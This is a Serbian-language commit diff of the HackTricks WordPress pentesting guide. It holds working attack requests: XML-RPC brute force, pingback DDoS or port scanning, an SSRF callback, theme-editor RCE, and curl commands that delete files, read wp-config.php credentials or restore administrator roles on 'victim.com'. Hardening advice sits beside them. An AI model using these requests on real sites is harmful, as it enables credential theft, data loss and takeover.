mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
0cbc8622f1
commit
a897b3ef91
@ -28,21 +28,21 @@
|
|||||||
- `wp-includes/` Ovo je direktorijum gde se čuvaju osnovne datoteke, kao što su sertifikati, fontovi, JavaScript datoteke i dodaci.
|
- `wp-includes/` Ovo je direktorijum gde se čuvaju osnovne datoteke, kao što su sertifikati, fontovi, JavaScript datoteke i dodaci.
|
||||||
- `wp-sitemap.xml` U WordPress verzijama 5.5 i većim, WordPress generiše XML datoteku mape sajta sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.
|
- `wp-sitemap.xml` U WordPress verzijama 5.5 i većim, WordPress generiše XML datoteku mape sajta sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.
|
||||||
|
|
||||||
**Post eksploatacija**
|
**Post exploitation**
|
||||||
|
|
||||||
- Datoteka `wp-config.php` sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka, kao što su ime baze podataka, host baze podataka, korisničko ime i lozinka, ključevi za autentifikaciju i soli, i prefiks tabela baze podataka. Ova konfiguraciona datoteka se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno u rešavanju problema.
|
- Datoteka `wp-config.php` sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka, kao što su ime baze podataka, host baze podataka, korisničko ime i lozinka, ključevi za autentifikaciju i soli, i prefiks tabela baze podataka. Ova konfiguraciona datoteka se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno u rešavanju problema.
|
||||||
|
|
||||||
### Dozvole korisnika
|
### Dozvole korisnika
|
||||||
|
|
||||||
- **Administrator**
|
- **Administrator**
|
||||||
- **Urednik**: Objavljuje i upravlja svojim i tuđim postovima
|
- **Editor**: Objavljuje i upravlja svojim i tuđim postovima
|
||||||
- **Autor**: Objavljuje i upravlja svojim postovima
|
- **Author**: Objavljuje i upravlja svojim postovima
|
||||||
- **Saradnik**: Piše i upravlja svojim postovima, ali ih ne može objaviti
|
- **Contributor**: Piše i upravlja svojim postovima, ali ih ne može objaviti
|
||||||
- **Pretplatnik**: Pregleda postove i uređuje svoj profil
|
- **Subscriber**: Pregleda postove i uređuje svoj profil
|
||||||
|
|
||||||
## **Pasivna enumeracija**
|
## **Pasivna enumeracija**
|
||||||
|
|
||||||
### **Dobijanje verzije WordPress-a**
|
### **Dobijanje WordPress verzije**
|
||||||
|
|
||||||
Proverite da li možete pronaći datoteke `/license.txt` ili `/readme.html`
|
Proverite da li možete pronaći datoteke `/license.txt` ili `/readme.html`
|
||||||
|
|
||||||
@ -83,7 +83,7 @@ Verovatno nećete moći da pronađete sve moguće Plugin-e i Teme. Da biste ih o
|
|||||||
|
|
||||||
### Korisnici
|
### Korisnici
|
||||||
|
|
||||||
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om korisničkih ID-eva:
|
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om ID-eva korisnika:
|
||||||
```bash
|
```bash
|
||||||
curl -s -I -X GET http://blog.example.com/?author=1
|
curl -s -I -X GET http://blog.example.com/?author=1
|
||||||
```
|
```
|
||||||
@ -97,11 +97,11 @@ Još jedan `/wp-json/` krajnji tačka koja može otkriti neke informacije o kori
|
|||||||
```bash
|
```bash
|
||||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||||
```
|
```
|
||||||
Napomena da ovaj krajnji tačka izlaže samo korisnike koji su napravili post. **Samo informacije o korisnicima koji imaju ovu funkciju omogućenu biće pružene**.
|
Napomena da ovaj krajnji tačka izlaže samo korisnike koji su napravili post. **Samo informacije o korisnicima koji imaju ovu funkciju omogućenu će biti pružene**.
|
||||||
|
|
||||||
Takođe, imajte na umu da **/wp-json/wp/v2/pages** može da otkrije IP adrese.
|
Takođe, napomena da **/wp-json/wp/v2/pages** može da otkrije IP adrese.
|
||||||
|
|
||||||
- **Enumeracija korisničkih imena za prijavu**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je **korisničko ime postoji ili ne**.
|
- **Enumeracija korisničkih imena za prijavu**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je navedeno **korisničko ime postoji ili ne**.
|
||||||
|
|
||||||
### XML-RPC
|
### XML-RPC
|
||||||
|
|
||||||
@ -132,11 +132,11 @@ Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_
|
|||||||
```
|
```
|
||||||
Poruka _"Pogrešno korisničko ime ili lozinka"_ unutar odgovora sa kodom 200 treba da se pojavi ako akreditivi nisu validni.
|
Poruka _"Pogrešno korisničko ime ili lozinka"_ unutar odgovora sa kodom 200 treba da se pojavi ako akreditivi nisu validni.
|
||||||
|
|
||||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Korišćenjem ispravnih akreditiva možete da otpremite datoteku. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
Korišćenjem ispravnih akreditiva možete otpremiti datoteku. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||||
```html
|
```html
|
||||||
<?xml version='1.0' encoding='utf-8'?>
|
<?xml version='1.0' encoding='utf-8'?>
|
||||||
<methodCall>
|
<methodCall>
|
||||||
@ -176,7 +176,7 @@ Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava
|
|||||||
|
|
||||||
**DDoS ili skeniranje portova**
|
**DDoS ili skeniranje portova**
|
||||||
|
|
||||||
Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kom hostu/portu.\
|
Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kojem hostu/portu.\
|
||||||
Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se izazove **DDoS** u toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skanira** neku internu **mrežu** (možete naznačiti bilo koji port).
|
Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se izazove **DDoS** u toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skanira** neku internu **mrežu** (možete naznačiti bilo koji port).
|
||||||
```html
|
```html
|
||||||
<methodCall>
|
<methodCall>
|
||||||
@ -217,7 +217,7 @@ Preporučuje se da se onemogući Wp-Cron i da se kreira pravi cronjob unutar hos
|
|||||||
|
|
||||||
Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Wordpress sajt može da pošalje zahtev ka vama.
|
Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Wordpress sajt može da pošalje zahtev ka vama.
|
||||||
|
|
||||||
Ovo je odgovor kada ne radi:
|
Ovo je odgovor kada ne funkcioniše:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -229,7 +229,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
|||||||
|
|
||||||
Ovaj alat proverava da li **methodName: pingback.ping** postoji za putanju **/wp-json/oembed/1.0/proxy** i ako postoji, pokušava da ih iskoristi.
|
Ovaj alat proverava da li **methodName: pingback.ping** postoji za putanju **/wp-json/oembed/1.0/proxy** i ako postoji, pokušava da ih iskoristi.
|
||||||
|
|
||||||
## Automatic Tools
|
## Automatski alati
|
||||||
```bash
|
```bash
|
||||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||||
@ -237,14 +237,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
|||||||
```
|
```
|
||||||
## Dobijanje pristupa prepisivanjem bita
|
## Dobijanje pristupa prepisivanjem bita
|
||||||
|
|
||||||
Više od pravog napada, ovo je radoznalost. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da NOP-ujete NOT (`!`) operaciju.
|
Više od pravog napada, ovo je radoznalost. U CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da NOP-ujete NOT (`!`) operaciju.
|
||||||
```php
|
```php
|
||||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||||
return new WP_Error(
|
return new WP_Error(
|
||||||
```
|
```
|
||||||
## **Panel RCE**
|
## **Panel RCE**
|
||||||
|
|
||||||
**Modifikovanje php iz teme koja se koristi (potrebne su admin kredencijali)**
|
**Modifikovanje php iz teme koja se koristi (potrebne admin kredencijale)**
|
||||||
|
|
||||||
Izgled → Urednik teme → 404 Šablon (s desne strane)
|
Izgled → Urednik teme → 404 Šablon (s desne strane)
|
||||||
|
|
||||||
@ -302,16 +302,16 @@ Ova metoda uključuje instalaciju malicioznog plugina za koji se zna da je ranji
|
|||||||
3. **Plugin Activation**: Kada je plugin uspešno instaliran, mora se aktivirati kroz kontrolnu tablu.
|
3. **Plugin Activation**: Kada je plugin uspešno instaliran, mora se aktivirati kroz kontrolnu tablu.
|
||||||
4. **Exploitation**:
|
4. **Exploitation**:
|
||||||
- Sa instaliranim i aktiviranim pluginom "reflex-gallery", može se iskoristiti jer je poznato da je ranjiv.
|
- Sa instaliranim i aktiviranim pluginom "reflex-gallery", može se iskoristiti jer je poznato da je ranjiv.
|
||||||
- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande, može se uspostaviti meterpreter sesija, što omogućava neovlašćen pristup sajtu.
|
- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande da biste uspostavili meterpreter sesiju, što omogućava neovlašćen pristup sajtu.
|
||||||
- Napominje se da je ovo samo jedna od mnogih metoda za iskorišćavanje WordPress sajta.
|
- Napominje se da je ovo samo jedna od mnogih metoda za iskorišćavanje WordPress sajta.
|
||||||
|
|
||||||
Sadržaj uključuje vizuelne prikaze koji prikazuju korake u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
|
Sadržaj uključuje vizuelne prikaze koraka u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
|
||||||
|
|
||||||
**Za detaljnije korake proverite:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||||
|
|
||||||
## From XSS to RCE
|
## From XSS to RCE
|
||||||
|
|
||||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost na **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija proverite [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X i omogućava:**
|
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost na **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X i omogućava:**
|
||||||
- _**Privilege Escalation:**_ Kreira korisnika u WordPress-u.
|
- _**Privilege Escalation:**_ Kreira korisnika u WordPress-u.
|
||||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Uploadujte svoj prilagođeni plugin (backdoor) u WordPress.
|
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Uploadujte svoj prilagođeni plugin (backdoor) u WordPress.
|
||||||
- _**(RCE) Built-In Plugin Edit:**_ Uredite ugrađene plugine u WordPress-u.
|
- _**(RCE) Built-In Plugin Edit:**_ Uredite ugrađene plugine u WordPress-u.
|
||||||
@ -336,7 +336,7 @@ Znanje o tome kako Wordpress dodatak može izložiti funkcionalnost je ključno
|
|||||||
|
|
||||||
- **`wp_ajax`**
|
- **`wp_ajax`**
|
||||||
|
|
||||||
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handler-a. Ovi handler-i mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, često se dešava da će ove funkcije bazirati i autentifikaciju i autorizaciju na postojanju wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
|
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handler-a. Ovi handler-i mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, često se dešava da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
|
||||||
|
|
||||||
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku:
|
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku:
|
||||||
```php
|
```php
|
||||||
@ -362,7 +362,7 @@ $this->namespace, '/get/', array(
|
|||||||
```
|
```
|
||||||
`permission_callback` je povratna funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.
|
`permission_callback` je povratna funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.
|
||||||
|
|
||||||
**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru korisničkih dozvola.**
|
**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru dozvola korisnika.**
|
||||||
|
|
||||||
- **Direktan pristup php datoteci**
|
- **Direktan pristup php datoteci**
|
||||||
|
|
||||||
@ -370,13 +370,13 @@ Naravno, Wordpress koristi PHP i datoteke unutar dodataka su direktno dostupne s
|
|||||||
|
|
||||||
### Neautentifikovano proizvoljno brisanje datoteka putem wp_ajax_nopriv (Litho Tema <= 3.0)
|
### Neautentifikovano proizvoljno brisanje datoteka putem wp_ajax_nopriv (Litho Tema <= 3.0)
|
||||||
|
|
||||||
WordPress teme i dodaci često izlažu AJAX rukovaoce putem `wp_ajax_` i `wp_ajax_nopriv_` hook-ova. Kada se koristi varijanta **_nopriv_**, **povratna funkcija postaje dostupna neautentifikovanim posetiocima**, tako da svaka osetljiva akcija mora dodatno implementirati:
|
WordPress teme i dodaci često izlažu AJAX rukovaoce kroz `wp_ajax_` i `wp_ajax_nopriv_` hook-ove. Kada se koristi varijanta **_nopriv_**, **povratna funkcija postaje dostupna neautentifikovanim posetiocima**, tako da svaka osetljiva akcija mora dodatno implementirati:
|
||||||
|
|
||||||
1. Proveru **kapaciteta** (npr. `current_user_can()` ili barem `is_user_logged_in()`), i
|
1. Proveru **kapaciteta** (npr. `current_user_can()` ili barem `is_user_logged_in()`), i
|
||||||
2. **CSRF nonce** validiran sa `check_ajax_referer()` / `wp_verify_nonce()`, i
|
2. **CSRF nonce** validiran sa `check_ajax_referer()` / `wp_verify_nonce()`, i
|
||||||
3. **Strogu sanitizaciju / validaciju unosa**.
|
3. **Strogu sanitizaciju / validaciju unosa**.
|
||||||
|
|
||||||
Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrola u funkciji *Remove Font Family* i završila je sa slanjem sledećeg koda ( pojednostavljeno):
|
Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrola u funkciji *Ukloni Font Family* i završila je sa isporukom sledećeg koda ( pojednostavljeno):
|
||||||
```php
|
```php
|
||||||
function litho_remove_font_family_action_data() {
|
function litho_remove_font_family_action_data() {
|
||||||
if ( empty( $_POST['fontfamily'] ) ) {
|
if ( empty( $_POST['fontfamily'] ) ) {
|
||||||
@ -403,7 +403,7 @@ Problemi koje uvodi ovaj deo koda:
|
|||||||
|
|
||||||
#### Eksploatacija
|
#### Eksploatacija
|
||||||
|
|
||||||
Napadač može obrisati bilo koju datoteku ili direktorijum **ispod osnovnog direktorijuma za upload** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
|
Napadač može obrisati bilo koju datoteku ili direktorijum **ispod osnovnog direktorijuma za otpremanje** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
|
||||||
```bash
|
```bash
|
||||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||||
-d 'action=litho_remove_font_family_action_data' \
|
-d 'action=litho_remove_font_family_action_data' \
|
||||||
@ -444,6 +444,70 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
### Eskalacija privilegija putem zastare vraćanja uloge i nedostatka autorizacije (ASE "Pogledaj Admin kao Ulogu")
|
||||||
|
|
||||||
|
Mnogi dodaci implementiraju funkciju "pogledaj kao uloga" ili privremeno prebacivanje uloga tako što čuvaju originalne uloge u korisničkim metapodacima kako bi ih kasnije mogli vratiti. Ako putanja vraćanja zavisi samo od parametara zahteva (npr., `$_REQUEST['reset-for']`) i liste koju održava dodatak bez provere sposobnosti i važeće nonce, to postaje vertikalna eskalacija privilegija.
|
||||||
|
|
||||||
|
Primer iz stvarnog sveta pronađen je u dodatku Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Grana resetovanja vraćala je uloge na osnovu `reset-for=<username>` ako se korisničko ime pojavilo u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce pre nego što je uklonila trenutne uloge i ponovo dodala sačuvane uloge iz korisničkih metapodataka `_asenha_view_admin_as_original_roles`:
|
||||||
|
```php
|
||||||
|
// Simplified vulnerable pattern
|
||||||
|
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||||
|
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
|
||||||
|
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
|
||||||
|
|
||||||
|
if ( in_array( $reset_for_username, $usernames, true ) ) {
|
||||||
|
$u = get_user_by( 'login', $reset_for_username );
|
||||||
|
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
|
||||||
|
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
|
||||||
|
foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Zašto je podložan eksploataciji
|
||||||
|
|
||||||
|
- Veruje `$_REQUEST['reset-for']` i opciji dodatka bez autorizacije na serverskoj strani.
|
||||||
|
- Ako je korisnik prethodno imao više privilegija sačuvanih u `_asenha_view_admin_as_original_roles` i bio snižen, može ih obnoviti tako što će pritisnuti putanju za resetovanje.
|
||||||
|
- U nekim implementacijama, svaki autentifikovani korisnik mogao bi pokrenuti resetovanje za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (pokidana autorizacija).
|
||||||
|
|
||||||
|
Preduslovi za napad
|
||||||
|
|
||||||
|
- Ranjava verzija dodatka sa omogućenom funkcijom.
|
||||||
|
- Ciljani nalog ima zastarelu ulogu sa visokim privilegijama sačuvanu u korisničkoj meti iz ranijeg korišćenja.
|
||||||
|
- Bilo koja autentifikovana sesija; nedostajući nonce/kapacitet u toku resetovanja.
|
||||||
|
|
||||||
|
Eksploatacija (primer)
|
||||||
|
```bash
|
||||||
|
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||||
|
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||||
|
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
|
||||||
|
curl -s -k -b 'wordpress_logged_in=...' \
|
||||||
|
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||||
|
```
|
||||||
|
Na ranjivim verzijama ovo uklanja trenutne uloge i ponovo dodaje sačuvane originalne uloge (npr., `administrator`), efikasno povećavajući privilegije.
|
||||||
|
|
||||||
|
Checklist za detekciju
|
||||||
|
|
||||||
|
- Potražite funkcije za prebacivanje uloga koje čuvaju “originalne uloge” u korisničkoj meti (npr., `_asenha_view_admin_as_original_roles`).
|
||||||
|
- Identifikujte putanje za resetovanje/obnavljanje koje:
|
||||||
|
- Čitaju korisnička imena iz `$_REQUEST` / `$_GET` / `$_POST`.
|
||||||
|
- Modifikuju uloge putem `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
|
||||||
|
- Autorizuju na osnovu niza opcija dodatka (npr., `viewing_admin_as_role_are`) umesto na osnovu sposobnosti aktera.
|
||||||
|
|
||||||
|
Ojačavanje
|
||||||
|
|
||||||
|
- Sprovodite provere sposobnosti na svakoj grani koja menja stanje (npr., `current_user_can('manage_options')` ili strožije).
|
||||||
|
- Zahtevajte nonce za sve mutacije uloga/dozvola i verifikujte ih: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||||
|
- Nikada ne verujte korisničkim imenima koja su dostavljena putem zahteva; rešavajte ciljnog korisnika na serverskoj strani na osnovu autentifikovanog aktera i eksplicitne politike.
|
||||||
|
- Nevažeće stanje “originalnih uloga” prilikom ažuriranja profila/uloga kako biste izbegli zastarelo vraćanje visokih privilegija:
|
||||||
|
```php
|
||||||
|
add_action( 'profile_update', function( $user_id ) {
|
||||||
|
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||||
|
}, 10, 1 );
|
||||||
|
```
|
||||||
|
- Razmotrite čuvanje minimalnog stanja i korišćenje vremenski ograničenih, sposobnostima zaštićenih tokena za privremene promene uloga.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## WordPress zaštita
|
## WordPress zaštita
|
||||||
|
|
||||||
### Redovne ažuriranja
|
### Redovne ažuriranja
|
||||||
@ -472,7 +536,7 @@ Takođe, **instalirajte samo pouzdane WordPress dodatke i teme**.
|
|||||||
|
|
||||||
### Neautentifikovana SQL injekcija putem nedovoljne validacije (WP Job Portal <= 2.3.2)
|
### Neautentifikovana SQL injekcija putem nedovoljne validacije (WP Job Portal <= 2.3.2)
|
||||||
|
|
||||||
WP Job Portal dodatak za zapošljavanje je izložio **savecategory** zadatak koji na kraju izvršava sledeći ranjivi kod unutar `modules/category/model.php::validateFormData()`:
|
WP Job Portal dodatak za zapošljavanje izložio je **savecategory** zadatak koji na kraju izvršava sledeći ranjivi kod unutar `modules/category/model.php::validateFormData()`:
|
||||||
```php
|
```php
|
||||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||||
$inquery = ' ';
|
$inquery = ' ';
|
||||||
@ -524,11 +588,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
|||||||
--data-urlencode 'entity_id=1' \
|
--data-urlencode 'entity_id=1' \
|
||||||
--data-urlencode 'file_name=../../../wp-config.php'
|
--data-urlencode 'file_name=../../../wp-config.php'
|
||||||
```
|
```
|
||||||
Server odgovara sa sadržajem `wp-config.php`, otkrivajući DB akreditive i auth ključeve.
|
Server odgovara sadržajem `wp-config.php`, otkrivajući DB akreditive i auth ključeve.
|
||||||
|
|
||||||
## Reference
|
## Reference
|
||||||
|
|
||||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||||
|
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||||
|
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user